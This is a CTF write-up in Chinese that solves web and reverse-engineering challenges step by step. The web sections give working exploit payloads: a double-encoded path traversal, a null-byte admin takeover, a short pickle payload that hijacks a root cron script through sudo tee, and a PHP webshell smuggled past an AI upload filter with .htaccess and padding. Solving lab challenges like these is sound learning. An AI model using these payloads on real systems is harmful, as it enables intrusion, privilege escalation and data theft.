web
Info2Exploit
一个内部内容门户隐藏着比表面更多的信息,而某些旧版行为可能影响受保护资源的访问方式。请从站内收集线索,获取服务器中的 flag。
页面上公开了几个入口:
/
/about
/repo
/search?q=
/article?id=
首页有三篇文章分别是
/article?id=welcome.md
/article?id=smart_contract_security.md
/article?id=consensus_algorithms.md
/repo
Git 仓库访问
内容查看器
系统消息
访问被拒
目前,正在尝试连接到去中心化的代码托管节点......
$ git clone git@chain-node:source/hyperchain-core.git
Cloning into 'hyperchain-core'...
Permission denied (publickey).
fatal: Could not read from remote repository.
Please make sure you have the correct access rights.
系统警报:
这个仓库目前处于"私人保护"模式。
最近的维护记录提到一份已存档的迁移记录,但该记录已不再在门户网站上列出。
已存档的迁移记录?记一下
/about
关于此系统
当前门户及其背后的节点端内容服务概述。
建筑摘要
ChainInsight 是一个面向内部的内容门户,用于发布运营笔记、研究更新和技术文章,供边缘节点团队使用。
当前部署保持了Web层较小,并将大部分请求处理逻辑移至应用层,以便更方便迭代。
当前设计重点:
零拷贝I/O:用于高效内容传递。
自定义 HTTP 解析器:URL 规范化由内部解析器处理,以提升性能。
HyperGuard WAF:内容服务前方启用了轻量级请求检查层。
3.1.0版本目前已部署到主节点组。
自定义http解析器?
试试搜索功能,随便输入个a
发现还有一个文章
/article?id=_ops_snapshot_notice.md
Archived Migration Note
A maintenance record from the previous storage migration was retained in the archive set after the public index was rebuilt.
The internal package label node_flag.txt was kept during that migration, and the archived note still references the old hidden snapshot namespace used by the storage service.
Some legacy sync clients also replay archived requests using older encoding behavior during fallback.
重点是第三段,大概意思是node_flag.txt还保留着,已归档的笔记还引用旧的隐藏快照命名空间。
反正就是记住这个文件名
接着试试任意文件读取,因为提到了自定义http解析,可以多试几种方法
提前看一眼服务
| Server | Werkzeug/3.1.8 Python/3.9.25 |
|---|
?id=../config.py触发了waf
?id=/config.py绝对路径禁止访问
单次url编码依旧waf
双重url编码提示请求的对象位于允许的存储范围之外
看来双重url编码可以绕过,尝试读取其他文件
?id=%252e%252e%252f%252e%252e%252fetc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
后续测试发现,很多文件都会和config.py一样返回 Requested object is outside the permitted storage scope.
我们尝试读取那个flag文件
?id=node_flag.txt
?id=%252e%252e%252fnode_flag.txt
?id=%252e%252e%252f%252e%252e%252fnode_flag.txt
均无发现
找个字典扫一下 呃...没收获
下面交给gpt
说尝试/article?id=%252e%252e%252fprivate.....
(究竟是怎么想到的,/etc下面还有个private?)
回显
System Message
Error: Object type does not match (Directory).
说明存在这个目录
根据线索"hidden snapshot namespace",尝试隐藏目录命名风格:
../private/.snapshot/
双重编码后请求:
/article?id=%252e%252e%252fprivate%252f.snapshot%252f
返回:
Error: Object type does not match (Directory).
这再次说明目录存在。
到这里,路径已经基本确定:
../private/.snapshot/
而隐藏文档中明确说内部 package label 是:
node_flag.txt
所以最终目标文件路径应为:
../private/.snapshot/node_flag.txt
由于需要绕过 WAF,路径中的 ../ 和 / 使用双重编码:
%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txt
最终paylaod
/article?id=%252e%252e%252fprivate%252f.snapshot%252fnode_flag.txt
PickleJail
一个内部图床平台整合了用户账号、文件处理与维护功能。流程中隐藏的信任假设可能暴露服务器敏感数据;请分析系统并获取 flag。
(本题复现到一般结果复现环境无了,后半段纯gpt)
这个题名指向性挺明确的
先登录看看(注意到点击登录时候,用户名会被编码一闪而过,base64)
本页面用于在测试环境中注册图片和参考材料。提交后,系统将生成一个访问路径,以供后续审核和验证。
上传文件试试
服务端返回一个预览链接:/pic?pic=文件名
试了试没啥用
换个方向,拿admin权限
回到登录界面看一眼源代码
html
<script>
function base64encodeform(){
document.getElementById('username').value=btoa(unescape(encodeURIComponent(document.getElementById('username').value)));
document.getElementById('password').value=btoa(unescape(encodeURIComponent(document.getElementById('password').value)));
return true;
}
</script>
果然是base64,所以我们的一些特殊字符也可以被正常传入后端
admin\x00admin\x00admin
py
import requests, base64
base='http://36.213.142.102:24059'
enc=lambda s: base64.b64encode(s.encode()).decode()
u='admin\x00admin\x00admin'
p='aaa'
s=requests.Session()
print(s.post(base+'/register', data={
'username': enc(u),
'password': enc(p)
}).text)
print(s.post(base+'/login', data={
'username': enc('admin'),
'password': enc(p)
}).text)
拿到 admin 后,通过文件读取把源码拉出来,发现 /pic 的核心逻辑是:
py
@app.route('/pic')
def pic():
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:=f"./files/uploads/{pic}"):
if session.get('username')==b"admin":
return pickle.load(open(filepath,"rb"))
else:
return f'''<img src="data:image/png;base64,{base64.b64encode(open(filepath,"rb").read()).decode()}">{open(filepath,"r").read()[:5000]}'''
同时上传过滤并不是"只允许图片",而是一个很短的黑名单:
py
if len(content)>60: return False
for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",
b"flag",b"flask",b"global",b"os",b"output",b"popen",b"pty",b"repeat",
b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content: return False
这不是简单文件上传,而是管理员专属不安全反序列化。一旦我是 admin,上传文件再访问 /pic,本质上就是让服务端对我给的任意字节做 pickle.load。
可是我们直接去读 /flag 会报错,但读普通系统文件完全没问题。继续读取 /start.sh 后发现:
flag_value="${FLAG:-flag{local_test_flag}}"
printf '%s\n' "$flag_value" > /flag
chown root:root /flag
chmod 700 /flag
unset FLAG
unset flag_value
cron
exec sudo -u ctf python3 /app/app.py
这说明真实 flag 被写入 /flag 后立刻设成 root:root 700,而 Flask 应用最终是以 ctf 用户运行的。
再往下读 /etc/cron.d/cleanup,发现 root 每分钟会执行一次:
* * * * * root /opt/cleanup.sh
而 /opt/cleanup.sh 初始内容只是:
#!/bin/sh
exit 0
考虑拿root权限
上传黑名单把 os、system、exec、subprocess、popen、run 这些直观利用点几乎全封掉了
应该去找一个不显眼但同样会启动进程的标准库函数
pydoc.pipepager(text, cmd) 很合适:名字短,不在黑名单里,但内部会执行 cmd,并把 text 通过管道喂给它
让他执行sh,把 sudo -n -l 的输出写到 /tmp/l,读回来的结果是:
User ctf may run the following commands on ...:
(root) NOPASSWD: /usr/bin/tee /opt/cleanup.sh
上传内容必须同时满足:
-
总长度不超过 60 字节。
-
不能出现
flag、os、system等黑名单关键词。 -
不能有换行。
-
最终还得完成"把 root 脚本写进
/opt/cleanup.sh"这件事。pydoc.pipepager("cat /f*>/tx", "sudo -n tee /o*/c*")
对应的 pickle 原始载荷是:
b'\x80\x04\x8c\x05pydoc\x8c\x09pipepager\x93\x8c\x0bcat /f*>/tx\x8c\x12sudo -n tee /o*/c*\x86R.'
长度 57 字节,成功卡进限制内。
一旦这个 payload 被 admin 触发,/opt/cleanup.sh 就会被 root 权限重写成"读 /flag 并写到 /tx"的脚本,剩下只要等 cron。
上传最终 payload 后,请求 /pic?pic=payload 返回 500,没关系,我们只要在乎有没有执行成功
立刻回头读取 /opt/cleanup.sh
读回来的内容确实已经变成:
cat /f*>/tx
二进制方式读取 /tx,原始内容是:
b'flag{1jslb02eu7j76r12pk9v1hq1lkprsn45}}\n'
Prompt Vault
预览客服回复模板,找出隐藏在内部片段中的动态 flag。
提供了多个按键,通过 /api/promptlets 异步加载可用的片段名称,还有渲染后预览按钮
但是测试多个常规ssti payload均不被解析
看眼源代码
javascript
fetch('/api/promptlets').then(r => r.json()).then(d => {
if (d.success) {
snips.textContent = '';
d.promptlets.forEach(n => {
var b = document.createElement('button');
b.textContent = n;
b.onclick = () => {
if (draft.value && !draft.value.endsWith('\n')) draft.value += '\n';
draft.value += '{{ include_prompt("' + n + '") }}';
};
snips.appendChild(b);
});
}
}).catch(() => { snips.textContent = 'load failed'; });
document.getElementById('runBtn').onclick = () => {
fetch('/api/preview', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({user_input: draft.value})
}).then(r => r.json()).then(d => {
if (d.success) {
output.textContent = d.final_preview;
output.className = '';
} else {
output.textContent = d.error;
output.className = 'err';
}
}).catch(() => {
output.textContent = 'request failed';
output.className = 'err';
});
};
扫api端口
发现/api/help
json
{
"about": "ReplyKit previews CX reply drafts. Public snippets in /api/promptlets. Refund/SLA/compliance drafts use the internal review_gate snippet.",
"ok": true,
"syntax": "{{ include_prompt(\"name\") }}"
}
Refund/SLA/compliance草稿使用内部review_gate代码片段
说实话没很看懂这英文的逻辑
最终payload
{{ include_prompt("review_gate") }}
MalCraft
某科技公司开发了一套 AI 文档管理系统,声称可通过内容分析引擎阻挡恶意上传。一次安全检查中,审计人员发现系统留下了被绕过的痕迹与加密的访问日志备份;请还原相关证据,找出攻击者 IP、关键日志 ID 以及被窃取的机密文件名称,并在题目中提交即可获取flag。
-
文件上传区(调用 upload.php)
-
已归档文件列表(调用 list.php,每 5 秒刷新)
-
AI 分析结果查看(调用 analyze.php)
-
下载已归档文件(调用 download.php?file=xxx)
-
导航栏还有一个 "Evidence Submission" 链接(submit.php)
提交已找回的攻击者IP、密钥日志ID以及被盗的机密文件名。最终结果仅在三个值完全匹配时才会返回。
尝试通过 download.php?file=../../../etc/passwd 进行路径穿越,返回 "Invalid file path"。尝试 download.php?file=config.php 返回 "File not found"。
上传 .php 文件返回 "Unsupported file type"。上传 .txt 文件成功。但上传 .htaccess 文件也成功了!
上传一个一句话木马.txt
AI detected malicious content in the first 1KB of the file
所以我们在一句话木马前填充一些垃圾字节
.htaccess
AddType application/x-httpd-php .txt
构造payload
$padding = "A" x 2048;
$phpcode = "<?php echo file_get_contents('/var/www/html/config.php'); ?>";
$content = $padding . "\r\n" . $phpcode;
成功拿到config.php,证明可行
再执行
<?php echo shell_exec('find /var/www -type f 2>&1'); ?>
返回结果中出现了关键文件:
/var/www/html/uploads/admin/db_backup.conf
/var/www/html/uploads/admin/upload_logs/.hash_record
/var/www/html/uploads/admin/upload_logs/access.log
/var/www/html/uploads/admin/upload_logs/access.log.backup
存在一个隐藏的 admin/ 目录,包含:
- db_backup.conf --- 数据库备份配置文件(内含加密密钥!)
- upload_logs/access.log --- 明文访问日志
- upload_logs/access.log.backup --- 访问日志备份(加密的)
- .hash_record --- 日志完整性哈希记录
php
<?php echo file_get_contents('/var/www/html/uploads/admin/db_backup.conf'); ?>
返回内容:
[integrity]
# Log integrity verification enabled
# Backup encryption: XOR with db_password
# Original hash: d79666476d5206d9c01b7a3b8b51ed0fb78bd00eacde38e47dade6f92ca25d07
[database]
password = AIDoc#2024Secure
关键信息:
- 加密方式:XOR with db_password(与数据库密码进行 XOR 加密)
- 数据库密码(即加密密钥):AIDoc#2024Secure
- 原始哈希:用于验证日志完整性的 SHA256
php
<?php
$data = file_get_contents('/var/www/html/uploads/admin/upload_logs/access.log.backup');
$key = 'AIDoc#2024Secure';
$decrypted = '';
for ($i = 0; $i < strlen($data); $i++) {
$decrypted .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
}
echo nl2br(htmlspecialchars($decrypted));
?>
解密结果:
{"time":"2024-10-10 14:30:12","ip":"192.168.1.100","action":"upload","file":"report.pdf","status":"success"}
{"time":"2024-10-10 15:14:51","ip":"203.0.113.88","action":"shell_exec","command":"cat /opt/secrets/operation_darknet.txt","log_id":"LOG-20241010-88239","severity":"critical"}
{"time":"2024-10-10 15:15:22","ip":"203.0.113.88","action":"file_steal","file":"operation_darknet.txt","size":4521,"log_id":"LOG-20241010-88240","severity":"critical"}
从解密后的日志中提取出三条关键证据:
- 攻击者 IP:203.0.113.88(执行 shell_exec 和 file_steal 操作的 IP)
- 关键日志 ID:LOG-20241010-88239(首次 shell_exec 的日志条目,标记为 critical 严重级别)
- 被窃取的机密文件:operation_darknet.txt(攻击者从 /opt/secrets/ 目录窃取的文件)
访问 submit.php,提交三个值:
Attacker IP: 203.0.113.88
Key Log ID: LOG-20241010-88239
Confidential File Name: operation_darknet.txt
返回结果:
Verification passed: flag{1jsm71kr3inr981udk4j7jq5s2s5iia7}
re
CodeSign
一个移动保险库显示访问已被允许,但秘密仍然没有出现在眼前。请理解应用如何决定展示内容,并还原隐藏结果。
apk安卓逆向
跳到主activity
java
public class MainActivity extends AppCompatActivity {
private static final byte[] SECRET_DATA = {86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30};
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
final TextView textView = (TextView) findViewById(R.id.tv_console);
final TextView textView2 = (TextView) findViewById(R.id.tv_flag);
((Button) findViewById(R.id.btn_unlock)).setOnClickListener(new View.OnClickListener() { // from class: com.icqctf.signcheck.MainActivity$$ExternalSyntheticLambda0
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
this.f$0.m125lambda$onCreate$0$comicqctfsigncheckMainActivity(textView2, textView, view);
}
});
}
/* renamed from: lambda$onCreate$0$com-icqctf-signcheck-MainActivity, reason: not valid java name */
/* synthetic */ void m125lambda$onCreate$0$comicqctfsigncheckMainActivity(TextView textView, TextView textView2, View view) {
String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
textView.setText(strDecrypt);
if (strDecrypt.startsWith("flag{")) {
textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");
textView2.setTextColor(-16711936);
} else {
textView2.setText("> SIGNATURE MISMATCH.\n> DECRYPTION FAILED.\n> OUTPUT GARBAGE.");
textView2.setTextColor(SupportMenu.CATEGORY_MASK);
}
}
private String decrypt(byte[] bArr, String str) {
if (str == null || str.length() == 0) {
return "";
}
byte[] bytes = str.getBytes();
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
}
return new String(bArr2);
}
}
直接找关键逻辑
java
if (strDecrypt.startsWith("flag{")) {
textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");
要String strDecrypt以flag{开头
再去看String strDecrypt的逻辑
java
String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
private String decrypt(byte[] bArr, String str) {
if (str == null || str.length() == 0) {
return "";
}
byte[] bytes = str.getBytes();
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
}
return new String(bArr2);
}
逻辑不复杂,把SECRET_DATA和SignUtils.getAppSignature进行异或
继续跳转去看getAppSignature
java
public static String getAppSignature(Context context) {
try {
return hex(context.getPackageManager().getPackageInfo(context.getPackageName(), 64).signatures[0].toByteArray());
} catch (Exception unused) {
return "";
}
}
跳到hex函数
java
private static String hex(byte[] bArr) throws NoSuchAlgorithmException {
try {
MessageDigest messageDigest = MessageDigest.getInstance("SHA1"); //声明sha1算法
messageDigest.update(bArr); //传入参数bArr
byte[] bArrDigest = messageDigest.digest(); //计算出结果
StringBuilder sb = new StringBuilder();
for (byte b : bArrDigest) {
String hexString = Integer.toHexString(b & UByte.MAX_VALUE);
//UByte.MAX_VALUE即无符号字节的最大值,也就是255,按位与255转换为无符号整数
while (hexString.length() < 2) {
hexString = "0" + hexString;
}
sb.append(hexString);
}
return sb.toString().toLowerCase();
} catch (Exception unused) {
return "";
}
}
问题是如何找到hex函数的参数
context.getPackageManager()
.getPackageInfo(context.getPackageName(), 64)
.signatures[0]
.toByteArray()
64 是 PackageManager.GET_SIGNATURES 这个常量的值,就是请求签名的指令码
然后signatures[0]取到签名,再.toByteArray()转换成字节
在jadx中拿到签名sha1
0F BF 65 80 2A 94 64 9F 01 92 0C 2A 09 66 C2 93 4E 81 7F 73
写个脚本跑出来
py
secret = [
86, 10, 3, 1, 77, 124, 123, 97, 109, 37,
64, 90, 2, 89, 8, 5, 111, 115, 64, 66,
4, 16, 65, 62, 123, 8, 88, 81, 30
]
key = "0fbf65802a94649f01920c2a0966c2934e817f73"
flag = ''.join(
chr(b ^ ord(key[i % len(key)]))
for i, b in enumerate(secret)
)
print(flag)
drive
公司的驱动程序好像出bug了,连接的程序也连接不上,重新连接驱动还需要重新输入密钥,请尽快修复程序连接驱动!(缺失的符号md5=f2c6151d6c0d99f3666129b97e2100f5)。
核心文件只有两个:link.exe 和 Driver.sys
一个程序一个驱动
先看exe的string
\\.\Device?????
flag
可能是在device这里破坏了
sys文件本质是PE文件,同样具有MZ开头,但是我们查看发现
原本的 4D 5A变成了09 5A
改回去之后发现下面还有异常内容
J...D......L.!Th
-s p6ogr%m c%nno
0 bedrundin .OS
This转16进制是
54 68 69 73
而这里是
54 68 2D 73
经gpt观察后发现,每 4 字节的第 1 个字节都像是被异或了 0x44。按这个规律恢复后,Driver.sys 重新变成正常 PE 驱动,并能看到关键字符串:
\??\DeviceDrive
\Device\MYDEVICE
flag is you input
wrong
真正缺失的符号是 Drive,并且 Drive的md5刚好是f2c6151d6c0d99f3666129b97e2100f5
再把exe修改好
下面是gpt独秀
修复驱动后,继续分析驱动逻辑。DriverEntry 中创建了内核设备和符号链接:
DeviceName: \Device\MYDEVICE
SymbolicLink: \??\DeviceDrive
同时注册了几个派发函数,其中 IRP_MJ_DEVICE_CONTROL 指向主要处理函数。用户态 link.exe 发送的控制码是:
0x222000
进入驱动的 DeviceControl 分支后,可以看到它会读取用户输入的 32 字节缓冲区,然后做第一层原地变换:
for (i = 1; i < 32; i++) {
buf[i - 1] ^= ((buf[i - 1] % 0x12) + buf[i] + 5) ^ 0x34;
}
这里有一个关键观察:每一轮修改的是 buf[i - 1],但会用到还没被修改的 buf[i]。这说明如果要逆推原输入,应当从末尾往前推,而不是从开头往后推。
第一层变换后,驱动把结果传入另一个校验函数。这个函数分两轮处理输入。第一轮使用初始值 0x34 做链式异或:
prev = 0x34;
for (i = 0; i < len; i++) {
tmp[i] = input[i] ^ prev;
prev = input[i];
}
第二轮继续链式异或,并把结果与 .data 段中的 32 字节常量比较:
for (i = 0; i < len; i++) {
old = tmp[i];
tmp[i] ^= prev;
prev = old;
}
目标常量是:
66 0a 09 e0 e2 e3 cb 09 14 15 0c 38 01 1f 05 42
71 6e 56 7a 00 20 e4 bf e6 cd 28 30 2c 75 a0 3a
如果比较成功,驱动不会返回真正的新字符串,而是返回:
flag is you input
这句话很关键。它说明 flag 不是驱动输出内容,而是用户输入本身。也就是说,攻击目标变成了:构造一个 32 字节输入,使它经过两层变换后等于 .data 段常量。
先逆第二层校验。由于第二层是链式异或,异或本身可逆,所以可以从目标常量倒推出第一层变换后的中间值。逆推得到的 32 字节中间态是:
2f 3e 26 de c4 3d 0f 34 1b 21 17 19 16 06 13 44
62 2a 34 50 34 70 d0 cf 36 02 1e 32 32 47 92 7d
接下来逆第一层变换。第一层有这个结构:
buf[i - 1] = original[i - 1] ^ f(original[i - 1], original[i])
因为它依赖右侧相邻字节,所以从最后一个字节开始向前回溯最自然。末尾 buf[31] 没被第一层循环修改,因此可以直接确定原始输入最后一字节。然后逐位向前枚举 original[i - 1],要求它变换后等于已知中间态。
回溯后得到多个数学上可行的候选,但大多数包含不可打印字符或不符合 flag 格式。唯一符合常见 CTF flag 形态、且完整可打印的是:
flag{wnNCZJbBOqL3QA1C1cypiKYII4}
为了避免只靠格式猜测,还需要做正向验证。把这个候选作为原始输入,先执行驱动第一层变换,得到:
2f3e26dec43d0f341b21171916061344622a34503470d0cf36021e323247927d
再执行第二层校验变换,得到:
660a09e0e2e3cb0914150c38011f0542716e567a0020e4bfe6cd28302c75a03a
它与 .data 段目标常量完全一致,因此该输入一定会命中成功分支。
最终驱动成功分支提示 flag is you input,说明正确输入就是 flag。经过逆向两层变换并正向验证,最终 flag 为:
flag{wnNCZJbBOqL3QA1C1cypiKYII4}
SimpleSocket
一个轻量级客户端与服务端程序通过自定义通信流程保护返回信息。请逆向分析交换逻辑,还原最终内容。
题目目录中有四个文件:py、packet1、packet2、packet3。
先看py
py
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import pad, unpad
import os
import socket
import time
def generate_rsa_keys():
key = RSA.generate(1024) #生成一对RSA密钥(1024位)
private_key = key.export_key() #调用.export_key(),把key转换为文本格式
public_key = key.publickey().export_key() #只取出公钥部分
return private_key, public_key
def client_logic(public_key):
current_time = int(time.time())
aes_key = os.urandom(16) #生成16个字节(128位)的完全随机的数据,作为AES加密的密钥
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
encrypted_aes_key = cipher_rsa.encrypt(aes_key) #加密
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(('localhost', 9999))
s.sendall(encrypted_aes_key)
encrypted_data = s.recv(1024)
def server_logic(private_key):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(('localhost', 9999))
s.listen()
conn, addr = s.accept()
with conn:
encrypted_aes_key = conn.recv(256)
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(private_key))
aes_key = cipher_rsa.decrypt(encrypted_aes_key) #解密
flag = b"this is flag"
cipher_aes = AES.new(aes_key, AES.MODE_ECB)
encrypted_flag = cipher_aes.encrypt(pad(flag, AES.block_size))
conn.sendall(encrypted_flag)
private_key, public_key = generate_rsa_keys()
import threading
server_thread = threading.Thread(target=server_logic, args=(private_key,))
server_thread.start()
client_logic(public_key)
整体逻辑是用RSA加密AES密钥,再用AES加密数据
packet2: PEM 格式 RSA PRIVATE KEY,但换行被写成了字面量 \n
packet3: 256 个十六进制字符,即 128 字节
packet1: 96 个十六进制字符,即 48 字节
packet3 的 128 字节长度正好对应 1024-bit RSA 密文;packet1 的 48 字节长度是 16 的倍数,符合 AES 分组密文特征;packet2 则是泄露的 RSA 私钥。
packet3 --RSA私钥解密--> AES key
AES key + packet1 --AES-ECB解密--> flag
注意packet1 和 packet3 都是十六进制文本,不是原始二进制,所以使用前要先 bytes.fromhex()。
packet2 里的私钥不是标准 PEM 换行,而是包含字面量 \n,所以导入 RSA 私钥前要替换成真实换行:
py
private_key = packet2_text.replace("\\n", "\n").encode()
脚本
py
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Util.Padding import unpad
private_key = open("packet2").read().replace("\\n", "\n").encode()
rsa_key = RSA.import_key(private_key)
encrypted_aes_key = bytes.fromhex(open("packet3").read().strip())
aes_key = PKCS1_OAEP.new(rsa_key).decrypt(encrypted_aes_key)
encrypted_flag = bytes.fromhex(open("packet1").read().strip())
flag = unpad(AES.new(aes_key, AES.MODE_ECB).decrypt(encrypted_flag), 16)
print(flag)